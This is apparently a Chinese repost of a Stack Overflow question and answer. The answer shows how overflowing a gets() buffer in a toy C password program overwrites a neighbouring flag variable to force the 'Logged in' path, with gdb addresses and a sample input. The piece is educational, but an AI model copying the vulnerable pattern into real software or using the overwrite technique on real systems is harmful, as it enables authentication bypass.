gpt4 book ai didi

c - 不改变返回地址的缓冲区溢出攻击

转载 作者:行者123 更新时间:2023-12-03 09:55:46 26 4
gpt4 key购买 nike

我需要在下面的示例代码中调用登录功能。我们可以通过使用缓冲区溢出攻击直接更改登录函数的返回地址来实现这一点。但我需要保持返回地址不变。有没有其他方法可以在不更改返回地址的情况下打印登录消息?

char getPass()
{
int flag = 'F';
char pass[10];
gets(pass);
return (char) flag;
}

void login()
{
printf("Logged in");
exit(0);
}
void main()
{
printf("Enter Passwd");
if(getPass() == 'T')
{
login();
}else{
print("Failed");
exit(1);
}
}

最佳答案

让它工作取决于编译器决定如何安排变量。如果 flagpass 之后出现在内存中,则输入比 pass 更多的字符将导致 flag 被覆盖。

当我在调试器中运行这个程序并打印这些变量的地址时,我得到以下信息:

(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1

Temporary breakpoint 1, main () at x1.c:19
19 printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20 if(getPass() == 'T')
(gdb)
getPass () at x1.c:6
6 int flag = 'F';
(gdb)
8 gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000", <incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc

我们可以看到,在这个特定的实例中 flagpass 开始后 12 个字节。我的机器也是小端模式,这意味着 flag 的 4 个字节中的第一个字节包含要覆盖的值。

因此我们可以通过输入 13 个字符来利用缓冲区溢出漏洞,其中最后一个是 T 。这导致 10 个字符写入 pass,另外两个字符写入 passflag 之间的填充字节,T 的第一个字节中的字符 flag,以及 flag 的第二个字节中终止的空字节的 0。现在变量 flag 包含 'T',它是从函数返回的内容。

另请注意,这样做不会将过去的 flag 写入函数的返回值。这是可能的,因为 flag 是一个 int 并且使用了小端字节序。

示例输入/输出:

[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$

关于c - 不改变返回地址的缓冲区溢出攻击,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63971481/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com